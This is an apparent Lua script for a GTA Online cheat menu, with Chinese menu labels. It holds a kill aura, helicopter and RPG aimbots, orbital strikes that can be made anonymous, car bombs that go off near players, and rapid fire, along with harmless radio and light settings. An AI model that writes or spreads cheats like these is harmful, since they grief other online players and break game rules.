local kill_auraroot = GT(pvphelp, "杀死光环", {}, "杀死任何以您为中心范围内的玩家\n就像被黑客入侵的Minecraft一样儿")

kill_aura = false
GTTG(kill_auraroot, "杀死光环", {},  "杀死任何以您为中心范围内的玩家\n就像被黑客入侵的Minecraft一样儿", function(on)
    kill_aura = on
    mod_uses("ped", if on then 1 else -1)
end)

kill_aura_peds = false
GTTG(kill_auraroot, "杀死peds", {}, "", function(on)
    kill_aura_peds = on
end)

kill_aura_players = false
GTTG(kill_auraroot, "杀死玩家", {}, "", function(on)
    kill_aura_players = on
end)

kill_aura_friends = false
GTTG(kill_auraroot, "目标好友", {}, "", function(on)
    kill_aura_friends= on
end)


kill_aura_dist = 20
GTluaScript.slider(kill_auraroot, "杀死光环范围", {}, "", 1, 100, 20, 1, function(s)
    kill_aura_dist = s
end)

peds_thread = util.create_thread(function (thr)
    while true do
        if ped_uses > 0 then
            all_peds = entities.get_all_peds_as_handles()
            for k,ped in pairs(all_peds) do
                if kill_aura then
                    if (kill_aura_peds and not PED.IS_PED_A_PLAYER(ped)) or (kill_aura_players and PED.IS_PED_A_PLAYER(ped)) then
                        local pid = NETWORK.NETWORK_GET_PLAYER_INDEX_FROM_PED(v)
                        local hdl = pid_to_handle(pid)
                        if (kill_aura_friends and not NETWORK.NETWORK_IS_FRIEND(hdl)) or not kill_aura_friends then
                            target = ENTITY.GET_ENTITY_COORDS(ped, false)
                            m_coords = ENTITY.GET_ENTITY_COORDS(players.user_ped(), false)
                            if MISC.GET_DISTANCE_BETWEEN_COORDS(m_coords.x, m_coords.y, m_coords.z, target.x, target.y, target.z, true) < kill_aura_dist and ENTITY.GET_ENTITY_HEALTH(ped) > 0 then
                                MISC.SHOOT_SINGLE_BULLET_BETWEEN_COORDS(target['x'], target['y'], target['z'], target['x'], target['y'], target['z']+0.1, 300.0, true, 100416529, players.user_ped(), true, false, 100.0)
                            end
                        end
                    end
                end
            end
        end
        wait()
    end
end)

GTD(pvphelp,"车辆瞄准器")

GTLP(pvphelp, "直升飞机自动瞄准器", {}, "令直升机瞄准最近的玩家\n将其与[静默自瞄]结合使用,让您看起来超级棒~", function ()
    local p = GetClosestPlayerWithRange_Whitelist(200)
    local localped = GetLocalPed()
    local localcoords2 = ENTITY.GET_ENTITY_COORDS(localped)
    if p ~= nil and not PED.IS_PED_DEAD_OR_DYING(p) and ENTITY.HAS_ENTITY_CLEAR_LOS_TO_ENTITY(localped, p, 17) and not AIM_WHITELIST[NETWORK.NETWORK_GET_PLAYER_INDEX_FROM_PED(p)] and (not players.is_in_interior(NETWORK.NETWORK_GET_PLAYER_INDEX_FROM_PED(p))) and (not players.is_godmode(NETWORK.NETWORK_GET_PLAYER_INDEX_FROM_PED(p))) then
        if PED.IS_PED_IN_ANY_VEHICLE(localped) then
            local veh = PED.GET_VEHICLE_PED_IS_IN(localped, false)
            if VEHICLE.GET_VEHICLE_CLASS(veh) == 15 or VEHICLE.GET_VEHICLE_CLASS(veh) == 16 then 
                local pcoords2 = PED.GET_PED_BONE_COORDS(p, 24817, 0, 0, 0)
                local look2 = v3.lookAt(localcoords2, pcoords2)
                local look = GetTableFromV3Instance(look2)
                ENTITY.SET_ENTITY_ROTATION(veh, look.x, look.y, look.z, 1, true)
            end
        end
    end
end)

GTAC(pvphelp, "修改导弹速度", {}, "", function ()
    local localped = GetLocalPed()
    if PED.IS_PED_IN_ANY_VEHICLE(localped) then
        local veh = PED.GET_VEHICLE_PED_IS_IN(localped, false)
        if VEHICLE.GET_VEHICLE_CLASS(veh) == 15 or VEHICLE.GET_VEHICLE_CLASS(veh) == 16 then 
            SetVehicleMissileSpeed(VEH_MISSILE_SPEED)
        end
    end
end)

GTluaScript.slider(pvphelp, "设置导弹速度", {"vehmissilespeed"}, "设置导弹速度的数值", 1, 2147483647, 10000, 100, function (value)
    VEH_MISSILE_SPEED = value
end)

GTD(pvphelp, "RPG自动瞄准器")


GTTG(pvphelp, "RPG自动瞄准器", {"rpgaim"}, "火箭炮自瞄: 针对大多数车辆\n可瞄准将与火箭设置列表中提供的火箭共同使用", function (on)
    if on then
        MISL_AIM = true
        while MISL_AIM do
            local localped = GetLocalPed()
            local localcoords = ENTITY.GET_ENTITY_COORDS(GetLocalPed())
            local forOffset = ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(localped, 0, 5, 0)
            RRocket = OBJECT.GET_CLOSEST_OBJECT_OF_TYPE(forOffset.x, forOffset.y, forOffset.z, 10, Chosen_Rocket_Hash, false, true, true, true)
            local p
            if missile_settings.multitarget then
                if missile_settings.air_target then
                    p = GetClosestPlayerWithRange_Whitelist_DisallowEntities(missile_settings.radius, MISSILE_ENTITY_TABLE, true)
                else
                    p = GetClosestPlayerWithRange_Whitelist_DisallowEntities(missile_settings.radius, MISSILE_ENTITY_TABLE, false)
                end
            elseif missile_settings.multiped then
                if missile_settings.air_target then
                    p = GetClosestNonPlayerPedWithRange_DisallowedEntities(missile_settings.radius, MISSILE_ENTITY_TABLE, true)
                else
                    p = GetClosestNonPlayerPedWithRange_DisallowedEntities(missile_settings.radius, MISSILE_ENTITY_TABLE, false)
                end
            elseif not missile_settings.multitarget then
                if missile_settings.air_target then
                    p = GetClosestPlayerWithRange_Whitelist(missile_settings.radius, true)
                else
                    p = GetClosestPlayerWithRange_Whitelist(missile_settings.radius, false)
                end
            end
            local ppcoords = ENTITY.GET_ENTITY_COORDS(p)
            if (RRocket ~= 0) and (p ~= nil) and (not PED.IS_PED_DEAD_OR_DYING(p)) and (not AIM_WHITELIST[NETWORK.NETWORK_GET_PLAYER_INDEX_FROM_PED(p)]) and (PED.IS_PED_SHOOTING(localped)) and (not players.is_in_interior(NETWORK.NETWORK_GET_PLAYER_INDEX_FROM_PED(p))) and (ppcoords.z > 1) then
                util.create_thread(function ()
                    local plocalized = p
                    local msl = RRocket
                    if missile_settings.multitarget then
                        MISSILE_ENTITY_TABLE[#MISSILE_ENTITY_TABLE+1] = plocalized
                    end
                    if (ENTITY.HAS_ENTITY_CLEAR_LOS_TO_ENTITY(localped, plocalized, 17) and missile_settings.los) or not missile_settings.los or MISL_AIR then
                        if SE_Notifications then
                            util.toast("前兆完成！")
                        end
                        NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(msl)
                        if not NETWORK.NETWORK_HAS_CONTROL_OF_ENTITY(msl) then
                            for i = 1, 10 do
                                NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(msl)
                            end
                        else
                            if SE_Notifications then
                                util.toast("有控制权")
                            end
                        end
                        local aircount = 1
                        Missile_Camera = 0

                        STREAMING.REQUEST_NAMED_PTFX_ASSET(missile_particles.dictionary)
                        while not STREAMING.HAS_NAMED_PTFX_ASSET_LOADED(missile_particles.dictionary) do
                            STREAMING.REQUEST_NAMED_PTFX_ASSET(missile_particles.dictionary)
                            wait()
                        end
                        GRAPHICS.USE_PARTICLE_FX_ASSET(missile_particles.dictionary)
                        while ENTITY.DOES_ENTITY_EXIST(msl) do
                            if SE_Notifications then
                                util.toast("rocket exists")
                            end
                            local pcoords2 = ENTITY.GET_ENTITY_COORDS(plocalized)
                            local pcoords = GetTableFromV3Instance(pcoords2)
                            local lc2 = ENTITY.GET_ENTITY_COORDS(msl)
                            local lc = GetTableFromV3Instance(lc2)
                            local look2 = v3.lookAt(lc2, pcoords2)
                            local look = GetTableFromV3Instance(look2)
                            local dir2 = v3.toDir(look2)
                            local dir = GetTableFromV3Instance(dir2)
                            if missile_settings.ptfx then
                                STREAMING.REQUEST_NAMED_PTFX_ASSET(missile_particles.dictionary)
                                while not STREAMING.HAS_NAMED_PTFX_ASSET_LOADED(missile_particles.dictionary) do
                                    STREAMING.REQUEST_NAMED_PTFX_ASSET(missile_particles.dictionary)
                                    wait()
                                end
                                GRAPHICS.USE_PARTICLE_FX_ASSET(missile_particles.dictionary)
                                GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_AT_COORD(missile_particles.name, lc.x, lc.y, lc.z, 0, 0, 0, 0.4 * missile_settings.ptfx_scale, false, false, false, true)
                            end
                            if aircount < 2 and MISL_AIR then
                                if ENTITY.DOES_ENTITY_EXIST(msl) then
                                    ENTITY.APPLY_FORCE_TO_ENTITY_CENTER_OF_MASS(msl, 1, 0, 0, 2700, true, false, true, true)
                                    aircount = aircount + 1
                                    wait(1100)
                                end
                            end
                            local lookCountD = 0
                            if MISL_AIR then
                                if missile_settings.cam then
                                    if not CAM.DOES_CAM_EXIST(Missile_Camera) then
                                        if SE_Notifications then
                                            util.toast("相机设置")
                                        end
                                        CAM.DESTROY_ALL_CAMS(true)
                                        Missile_Camera = CAM.CREATE_CAM("DEFAULT_SCRIPTED_CAMERA", true)
                                        CAM.SET_CAM_ACTIVE(Missile_Camera, true)
                                        CAM.RENDER_SCRIPT_CAMS(true, false, 0, true, true, 0)
                                    end
                                end
                                local distx = math.abs(lc.x - pcoords.x)
                                local disty = math.abs(lc.y - pcoords.y)
                                local distz = math.abs(lc.z - pcoords.z)
                                if missile_settings.cam then
                                    local ddisst = GENERIC_SYSTEM.VDIST(pcoords.x, pcoords.y, pcoords.z, lc.x, lc.y, lc.z)
                                    if ddisst > 50 then
                                        local camcoordv3 = CAM.GET_CAM_COORD(Missile_Camera)
                                        local look3 = v3.lookAt(camcoordv3, lc2)
                                        local look4 = GetTableFromV3Instance(look3)
                                        local backoffset = ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(msl, 10, 10, -2)
                                        CAM.SET_CAM_COORD(Missile_Camera, backoffset.x, backoffset.y, backoffset.z)
                                        if lookCountD < 1 then
                                            CAM.SET_CAM_ROT(Missile_Camera, look4.x, look4.y, look4.z, 2)
                                            lookCountD = lookCountD + 1
                                        end
                                    else
                                        local camcoordv3 = CAM.GET_CAM_COORD(Missile_Camera)
                                        local look3 = v3.lookAt(camcoordv3, lc2)
                                        local look4 = GetTableFromV3Instance(look3)
                                        CAM.SET_CAM_ROT(Missile_Camera, look4.x, look4.y, look4.z, 2)
                                    end
                                end
                                ENTITY.SET_ENTITY_ROTATION(msl, look.x, look.y, look.z, 2, true)
                                ENTITY.APPLY_FORCE_TO_ENTITY_CENTER_OF_MASS(msl, 1, dir.x * missile_settings.speed * distx, dir.y * missile_settings.speed * disty, dir.z * missile_settings.speed * distz, true, false, true, true)
                                wait()
                            else
                                ENTITY.SET_ENTITY_ROTATION(msl, look.x, look.y, look.z, 2, true)
                                ENTITY.APPLY_FORCE_TO_ENTITY_CENTER_OF_MASS(msl, 1, dir.x * missile_settings.speed, dir.y * missile_settings.speed, dir.z * missile_settings.speed, true, false, true, true)
                                wait()
                            end
                        end
                        if missile_settings.cam then
                            wait(2000)
                            if SE_Notifications then
                                util.toast("相机删除")
                            end
                            CAM.RENDER_SCRIPT_CAMS(false, false, 0, true, true, 0)
                            if CAM.IS_CAM_ACTIVE(Missile_Camera) then
                                CAM.SET_CAM_ACTIVE(Missile_Camera, false)
                            end
                            CAM.DESTROY_CAM(Missile_Camera, true)
                        end
                    end
                    if missile_settings.multitarget then
                        table.remove(MISSILE_ENTITY_TABLE, GetValueIndexFromTable(MISSILE_ENTITY_TABLE, plocalized))
                        util.toast("Removed value " .. tostring(plocalized) .. " at index " .. tostring(GetValueIndexFromTable(MISSILE_ENTITY_TABLE, p)))
                    end
                end)
            end
            wait()
        end
    else
        MISL_AIM = false
    end
end)

local rpgrockets = GT(pvphelp, "火箭炮类型设置", {}, "")

local function generateRockets()
    for i = 1, #Rocket_Hashes do
        GTAC(rpgrockets, "Rocket " .. Rocket_Hashes[i][1], {"rocket " .. Rocket_Hashes[i][1]}, "", function ()
            Chosen_Rocket_Hash = Rocket_Hashes[i][2]
            util.toast("Set chosen rocket to " .. Rocket_Hashes[i][1] .. " || " .. Rocket_Hashes[i][2])
        end)
    end
end

generateRockets()

local rpgsettings = GT(pvphelp, "RPG自动瞄准器设置", {"rpgsettings"}, "")

GTTG(rpgsettings, "启用标枪模式", {"rpgjavelin"}, "让火箭飞得很高，杀死离你最近的玩家 :) | 建议：结合“RPG LOS Remove”，向你看不到的目标开火。", function (on)
    if on then
        MISL_AIR = true
    else
        MISL_AIR = false
    end
end)

GTluaScript.slider(rpgsettings, "RPG自动瞄准器半径", {"msl_frc_rad"}, "导弹自瞄的射程，例如 人可以离开多远。", 1, 10000, 300, 10, function (value)
    missile_settings.radius = value
end)

GTluaScript.slider(rpgsettings, "RPG速度倍增器", {"msl_spd_mult"}, "速度乘数。 默认是100，很好。", 1, 10000, 100, 10, function (value)
    missile_settings.speed = value
end)

GTTG(rpgsettings, "RPG LOS删除", {}, "删除视线检查。 除非您知道自己在做什么，否则不要打开它。", function (on)
    missile_settings.los = not on
end)

GTTG(rpgsettings, "RPG 行车记录器", {"rpgcamera"}, "现在有了行车记录仪，如果你使用标枪模式，你终于可以知道你的火箭到底去哪儿了。", function (on)
    missile_settings.cam = on
end)

GTTG(rpgsettings, "启用 PTFX", {}, "启用导弹的粒子效果，使它们看起来更合法。 默认启用。", function (toggle)
    missile_settings.ptfx = toggle
end, true)

GTTG(rpgsettings, "只针对空中目标", {}, "使自瞄只瞄准那些在空中的人。", function (toggle)
    missile_settings.air_target = toggle
end)

GTTG(rpgsettings, "多目标", {}, "将使导弹瞄准不同的实体。 如果一枚导弹已经飞向一个实体，其他导弹将飞向其他实体。 对多人有用。", function (toggle)
    missile_settings.multitarget = toggle
end)

GTTG(rpgsettings, "目标 Peds（多目标）", {}, "将针对peds而不是玩家。 在这个上启用了多目标，因为如果不是这样就没有用。", function (toggle)
    missile_settings.multiped = toggle
end)

GTD(rpgsettings, "------- PTFX（高级） -------")

GTluaScript.slider(rpgsettings, "PTFX 比例", {"rpgparscale"}, "粒子效果的比例。", 1, 10, 1, 1, function (scale)
    missile_settings.ptfx_scale = scale
end)

GTluaScript.text_input(rpgsettings, "PTFX 名称", {"rpgptfx"}, "粒子效果名称。 仅限高级用户。", function (text)
    missile_particles.name = text
end, "exp_grd_rpg_lod")

GTluaScript.text_input(rpgsettings, "PTFX 字典", {"rpgdictionary"}, "使用 PTFX 的粒子效果字典。 仅限高级！！", function (text)
    missile_particles.dictionary = text
end, "core")


GTD(pvphelp, "轨道标点")


GTAC(pvphelp, "轨道打击标点", {"orbway", "orbwp"}, "请标记点位再进行使用\n轨道炮将自动瞄准射击您标记的点位", function ()
        if HUD.IS_WAYPOINT_ACTIVE() then
            local blip = HUD.GET_FIRST_BLIP_INFO_ID(8)
            local wpos = HUD.GET_BLIP_COORDS(blip)
        if ORB_Sneaky then
            for a = 1, 30 do
                SE_add_explosion(wpos.x, wpos.y, wpos.z + 30 - a, 29, 10, true, false, 1, false)
                SE_add_explosion(wpos.x, wpos.y, wpos.z + 30 - a, 59, 10, true, false, 1, false)
                wait(30)
            end
        else
            for i = 1, 30 do
                SE_add_owned_explosion(GetLocalPed(), wpos.x, wpos.y, wpos.z + 30 - i, 29, 10, true, false, 1)
                SE_add_owned_explosion(GetLocalPed(), wpos.x, wpos.y, wpos.z + 30 - i, 59, 10, true, false, 1)
                wait(30)
            end
        end
    else
        util.toast("没标点！")
    end
end)

GTTG(pvphelp, "偷偷摸摸的爆炸", {}, "匿名击杀", function (on)
    ORB_Sneaky = on
end)


GTD(pvphelp, "汽车自杀")

GTLP(pvphelp, "汽车自杀", {"carexplode"}, "当您在玩家旁边时自动引爆您的汽车", function()
    local ourped = GetLocalPed()
    if PED.IS_PED_IN_ANY_VEHICLE(ourped, false) then
        local pedTable = entities.get_all_peds_as_pointers()
        local ourCoords = ENTITY.GET_ENTITY_COORDS(ourped)
        for i = 1, #pedTable do
            local handle = entities.pointer_to_handle(pedTable[i])
            if PED.IS_PED_A_PLAYER(handle) then
                local playerID = NETWORK.NETWORK_GET_PLAYER_INDEX_FROM_PED(handle)
                local v3 = entities.get_position(pedTable[i])
                local dist = DistanceBetweenTwoCoords(ourCoords, v3)
                if dist < 5 and handle ~= GetLocalPed() and not CAR_S_BLACKLIST[playerID] then
                    if CAR_S_sneaky then
                        SE_add_explosion(ourCoords.x, ourCoords.y, ourCoords.z, 2, 10, true, false, 0.1, false)
                        SE_add_explosion(ourCoords.x - 4, ourCoords.y, ourCoords.z, 2, 20, false, true, 0.1, false)
                        SE_add_explosion(ourCoords.x + 4, ourCoords.y, ourCoords.z, 2, 20, false, true, 0.1, false)
                        SE_add_explosion(ourCoords.x, ourCoords.y - 4, ourCoords.z, 2, 20, false, true, 0.1, false)
                        SE_add_explosion(ourCoords.x, ourCoords.y + 4, ourCoords.z, 2, 20, false, true, 0.1, false)
                    else
                        SE_add_owned_explosion(ourped, ourCoords.x, ourCoords.y, ourCoords.z, 2, 10, true, false, 0.1)
                        SE_add_owned_explosion(ourped, ourCoords.x - 4, ourCoords.y, ourCoords.z, 2, 20, false, true, 0.1)
                        SE_add_owned_explosion(ourped, ourCoords.x + 4, ourCoords.y, ourCoords.z, 2, 20, false, true, 0.1)
                        SE_add_owned_explosion(ourped, ourCoords.x, ourCoords.y - 4, ourCoords.z, 2, 20, false, true, 0.1)
                        SE_add_owned_explosion(ourped, ourCoords.x, ourCoords.y + 4, ourCoords.z, 2, 20, false, true, 0.1)
                    end
                end
            end
        end
    end
end)

GTTG(pvphelp, "偷偷摸摸的爆炸", {"carexplodesneaky"}, "设置爆炸为匿名击杀", function(on)
    CAR_S_sneaky = on
end)


GTD(pvphelp, "合法的快速射击")

GTTG(pvphelp, "合法的快速射击（快速切换）", {"legitrapidfire"}, "射击后快速切换到手榴弹并返回武器\n对狙击手/角色扮演游戏/榴弹发射器很有用", function(on)
    local localped = GetLocalPed()
    if on then
        LegitRapidFire = true
        util.create_thread(function ()
            while LegitRapidFire do
                if PED.IS_PED_SHOOTING(localped) then
                    local currentWpMem = memory.alloc()
                    local junk = WEAPON.GET_CURRENT_PED_WEAPON(localped, currentWpMem, 1)
                    local currentWP = memory.read_int(currentWpMem)
                    memory.free(currentWpMem)
                    WEAPON.SET_CURRENT_PED_WEAPON(localped, 2481070269, true)
                    wait(LegitRapidMS)
                    WEAPON.SET_CURRENT_PED_WEAPON(localped, currentWP, true)
                end
                wait()
            end
            util.stop_thread()
        end)
    else
        LegitRapidFire = false
    end
end)

GTluaScript.slider(pvphelp, "合法的快速射击延迟（ms）", {"legitrapiddelay"}, "切换到手榴弹并返回武器所需的延迟", 1, 1000, 100, 50, function (value)
    LegitRapidMS = value
end)

GTD(pvphelp, "导弹防御")

Actual_Missiles = {
    util.joaat("w_lr_rpg_rocket"),
    util.joaat("w_lr_homing_rocket"),
}

GTLP(pvphelp, "导弹护盾", {"missileshield"}, "在您面前生成一面护盾阻挡爆炸\n不会与您使用的火箭炮产生冲突", function()

    local missile = 0
    local forOffset = ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(GetLocalPed(), 0, 5, 0)
    for i = 1, #Actual_Missiles do

        missile = OBJECT.GET_CLOSEST_OBJECT_OF_TYPE(forOffset.x, forOffset.y, forOffset.z, 10, Actual_Missiles[i], false, true, true, true)
        if (missile ~= 0) then 
            local pcoords = getEntityCoords(GetLocalPed())
            local mcoords = getEntityCoords(missile)
            if (SYSTEM.VDIST2(pcoords.x, pcoords.y, pcoords.z, mcoords.x, mcoords.y, mcoords.z) < 100) then return end

            local offsetForward = ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(missile, 0, 3, 0); offsetForward.z = offsetForward.z - 3
            local missileRot = v3.new(ENTITY.GET_ENTITY_ROTATION(missile, 2))
            util.create_thread(function()
                util.toast("启动导弹护盾.")
                local obj = SpawnObjectAtCoords(util.joaat("sr_prop_sr_track_wall"), offsetForward)
                ENTITY.SET_ENTITY_INVINCIBLE(obj, true)
                ENTITY.SET_ENTITY_ROTATION(obj, missileRot:getX(), missileRot:getY(), missileRot:getZ()+90, 2, true)
                wait(1000)
                entities.delete_by_handle(obj)
                util.toast("关闭导弹护盾.")
                return
            end)

            return
        end

    end
end)

GTD(pvphelp, "")
        
SE_Notifications = false
GTTG(pvphelp, "调试通知", {""}, "", function(on)
    SE_Notifications = on
end)

nfs_cs = GT(carfly, '车速表', {''}, '')
--[[DiuDiu_NFS = GTAC(nfs_cs, "启动车速表模式", {""}, "点击启动", function()
GTLuaScript.delete(DiuDiu_NFS)
dofile(filesystem.scripts_dir().."\\lib\\GTSCRIPTS\\GTW\\NFS.lua")
end)]]

Vehicle_Collision_Reaction = GT(carfly, "载具碰撞反应")
require "lib.GTSCRIPTS.GTA.vehpop"

mission_car = GT(carfly, "任务专用载具", {}, "")
    GTAC(mission_car, "生成骷髅马", {""}, "", function ()
    for pid = 0, 4 do
    pos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(pid))
    dune = CreateVehicle(0x187D938D,pos,0)
    end
    wait(500)
    end)

    GTAC(mission_car, "生成防爆运输车", {""}, "", function ()
    for pid = 0, 4 do
    pos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(pid))
    dune = CreateVehicle(0xB822A1AA,pos,0)
    end
    wait(500)
    end)

    GTAC(mission_car, "生成微型直升机", {""}, "", function ()
    for pid = 0, 4 do
    pos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(pid))
    dune = CreateVehicle(0x89BA59F5,pos,0)
    end
    wait(500)
    end)

    GTAC(mission_car, "生成骷髅马", {""}, "", function ()
    for pid = 0, 4 do
    pos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(pid))
    dune = CreateVehicle(0x187D938D,pos,0)
    end
    wait(500)
    end)

    GTAC(mission_car, "生成防爆运输车", {""}, "", function ()
    for pid = 0, 4 do
    pos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(pid))
    dune = CreateVehicle(0xB822A1AA,pos,0)
    end
    wait(500)
    end)

    GTAC(mission_car, "生成微型直升机", {""}, "", function ()
    for pid = 0, 4 do
    pos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(pid))
    dune = CreateVehicle(0x89BA59F5,pos,0)
    end
    wait(500)
    end)

    GTAC(mission_car, "生成义警", {""}, "", function ()
    for pid = 0, 4 do
    pos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(pid))
    dune = CreateVehicle(3052358707,pos,0)
    end
    wait(500)
    end)

    GTAC(mission_car, "生成武装小艇", {""}, "", function ()
    for pid = 0, 4 do
    pos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(pid))
    dune = CreateVehicle(3314393930,pos,0)
    end
    wait(500)
    end)

    GTAC(mission_car, "生成可汗贾利", {""}, "", function ()
    for pid = 0, 4 do
    pos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(pid))
    dune = CreateVehicle(2859440138,pos,0)
    end
    wait(500)
    end)

    GTAC(mission_car, "生成秃鹫直升机", {""}, "", function ()
    for pid = 0, 4 do
    pos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(pid))
    dune = CreateVehicle(788747387,pos,0)
    end
    wait(500)
end)            
--
Vehicle_Radio_options = GT(carfly, "载具电台", {}, "此功能只在线模式中生效")
-- 载具电台 Labels
Vehicle_Radio_Stations = {
    "RADIO_11_TALK_02", -- Blaine County Radio
    "RADIO_12_REGGAE", -- The Blue Ark
    "RADIO_13_JAZZ", -- Worldwide FM
    "RADIO_14_DANCE_02", -- FlyLo FM
    "RADIO_15_MOTOWN", -- The Lowdown 9.11
    "RADIO_20_THELAB", -- The Lab
    "RADIO_16_SILVERLAKE", -- Radio Mirror Park
    "RADIO_17_FUNK", -- Space 103.2
    "RADIO_18_90S_ROCK", -- Vinewood Boulevard Radio
    "RADIO_21_DLC_XM17", -- Blonded Los Santos 97.8 FM
    "RADIO_22_DLC_BATTLE_MIX1_RADIO", -- Los Santos Underground Radio
    "RADIO_23_DLC_XM19_RADIO", -- iFruit Radio
    "RADIO_19_USER", -- Self Radio
    "RADIO_01_CLASS_ROCK", -- Los Santos Rock Radio
    "RADIO_02_POP", -- Non-Stop-Pop FM
    "RADIO_03_HIPHOP_NEW", -- Radio Los Santos
    "RADIO_04_PUNK", -- Channel X
    "RADIO_05_TALK_01", -- West Coast Talk Radio
    "RADIO_06_COUNTRY", -- Rebel Radio
    "RADIO_07_DANCE_01", -- Soulwax FM
    "RADIO_08_MEXICAN", -- East Los FM
    "RADIO_09_HIPHOP_OLD", -- West Coast Classics
    "RADIO_36_AUDIOPLAYER", -- Media Player
    "RADIO_35_DLC_HEI4_MLR", -- The Music Locker
    "RADIO_34_DLC_HEI4_KULT", -- Kult FM
    "RADIO_27_DLC_PRHEI4", -- Still Slipping Los Santos
}
VehicleRadio_ListItem = { { "关闭", {}, "OFF" } }
for k, name in pairs(Vehicle_Radio_Stations) do
    local temp = { "", {}, "" }
    temp[1] = util.get_label_text(name)
    temp[3] = name
    table.insert(VehicleRadio_ListItem, temp)
end

vehicle_radio_station_select = 1
GTLuaScript.list_select(Vehicle_Radio_options, "选择电台", {}, "", VehicleRadio_ListItem, 1, function(value)
    vehicle_radio_station_select = value
end)

GTLP(Vehicle_Radio_options, "自动更改电台", { "auto_veh_radio" }, "当你进入一辆载具时，更改载具的电台",
    function()
        if PED.IS_PED_GETTING_INTO_A_VEHICLE(players.user_ped()) then
            local veh = PED.GET_VEHICLE_PED_IS_ENTERING(players.user_ped())
            if veh ~= 0 then
                local stationName = VehicleRadio_ListItem[vehicle_radio_station_select][3]
                AUDIO.SET_VEH_RADIO_STATION(veh, stationName)
            end
        end
    end)

GTTG(Vehicle_Radio_options, "关闭电台", { "close_veh_radio" },
    "关闭后当前载具将无法选择更改电台", function(toggle)
    local vehicle = entities.get_user_vehicle_as_handle()
    if vehicle ~= 0 then
        AUDIO.SET_VEHICLE_RADIO_ENABLED(vehicle, not toggle)
    end
end)
--
Vehicle_Light_options = GT(carfly, "高级载具车灯", {}, "")

VehicleLightState_ListItem = {
    { "正常" }, -- 0
    { "强制关灯", {}, "总是关灯" }, -- 1
    { "强制开灯", {}, "总是开灯" }, -- 2
    { "开灯" }, -- 3
    { "关灯" }, -- 4
}
GTLuaScript.list_select(Vehicle_Light_options, "设置车灯状态", {}, "", VehicleLightState_ListItem, 1, function(value)
    local vehicle = entities.get_user_vehicle_as_handle()
    if vehicle ~= 0 then
        VEHICLE.SET_VEHICLE_LIGHTS(vehicle, value - 1)
    end
end)
    VehicleHeadlightShadow_ListItem = {
    { "无阴影" }, -- 0
    { "投射动态阴影" }, -- 1
    { "投射静态阴影" }, -- 2
    { "投射完整的阴影" }, -- 3
}
GTLuaScript.list_select(Vehicle_Light_options, "设置前照灯阴影", {}, "", VehicleHeadlightShadow_ListItem,
    1, function(value)
    local vehicle = entities.get_user_vehicle_as_handle()
    if vehicle ~= 0 then
        VEHICLE.SET_VEHICLE_LIGHTS(vehicle, value - 1)
    end
end)

GTTG(Vehicle_Light_options, "车灯不可损坏", {}, "", function(toggle)
    local vehicle = entities.get_user_vehicle_as_handle()
    if vehicle ~= 0 then
        VEHICLE.SET_VEHICLE_HAS_UNBREAKABLE_LIGHTS(vehicle, toggle)
    end
end)
GTTG(Vehicle_Light_options, "内饰灯光", {},
    "Forces the vehicles interior lights (regardless of time-of-day)", function(toggle)
    local vehicle = entities.get_user_vehicle_as_handle()
    if vehicle ~= 0 then
        VEHICLE.SET_VEHICLE_FORCE_INTERIORLIGHT(vehicle, toggle)
    end
end)
--
local carweaponfun = GT(carfly, "载具武器", {}, "", function(); end)

ff9car = GT(carweaponfun, "电磁脉冲道奇战马", {}, "生成带有电磁脉冲功能的道奇战马")

Spawn = GTLP(ff9car, '生成电磁脉冲道奇战马', {'FF9Wspawn'}, '生成带有电磁脉冲功能的道奇战马', function ()
    spawnspecialcar()
end)

sdroot = GT(carweaponfun, '魔幻激光战马', {}, '')

SDspawn = GTLP(sdroot, '生成魔幻激光战马', {'lsdspawn'}, '魔幻战马可以发出激光', function ()
    Lazer_Space_Car()
end)

local vehicleWeaponRoot = menu.list(carweaponfun, "设置载具武器", {"vehicleweapons"}, "")

GTLP(vehicleWeaponRoot, "载具镭射", {"vehiclelasers"}, "", function ()
	vehlaser()
end)

GTLP(vehicleWeaponRoot, "载具武器", {}, "", function()
	vehweapon_veh()
end, function () 
    state = 0 
end)

GTLuaScript.list_select(vehicleWeaponRoot, "设置载具武器", {}, "", {{util.get_label_text("WT_V_SPACERKT")}, {util.get_label_text("WT_RAYPISTOL")},{util.get_label_text("WT_FWRKLNCHR")}, {util.get_label_text("WT_V_TANK")}, {util.get_label_text("WT_V_PLRBUL")}}, 1, function (index)
    setvehweapon(index)
end)

list_homingMissiles = GT(vehicleWeaponRoot, "先进追踪导弹", {}, "允许您在任何载具上使用追踪导弹，并一次射出最多六个目标 ..")

toggle = GTLP(list_homingMissiles, "先进追踪导弹", {"homingmissiles"}, "鼠标右键射击出的才是追踪导弹哦!", function ()
    if not UFO.exists() and not GuidedMissile.exists() then
		HomingMissiles.mainLoop()
	else
		menu.set_value(toggle, false)
	end
end, HomingMissiles.reset)

whiteList = GT(list_homingMissiles, "白名单", {}, "")
GTTG(whiteList, "朋友", {}, "", HomingMissiles.SetIgnoreFriends)
GTTG(whiteList, "组织成员", {}, "", HomingMissiles.SetIgnoreOrgMembers)
GTTG(whiteList, "帮会成员", {}, "", HomingMissiles.SetIgnoreCrewMembers)


GTluaScript.slider(list_homingMissiles, "最大目标数" , {}, "", 1, 6, 6, 1, HomingMissiles.SetMaxTargets)


GTLP(carweaponfun, "空袭飞机", {"airstrikeplane"}, "使用任何飞机或直升机进行空袭", function ()
    airstrikeaicraft_plane()
end, function()
     state = 0 
end)

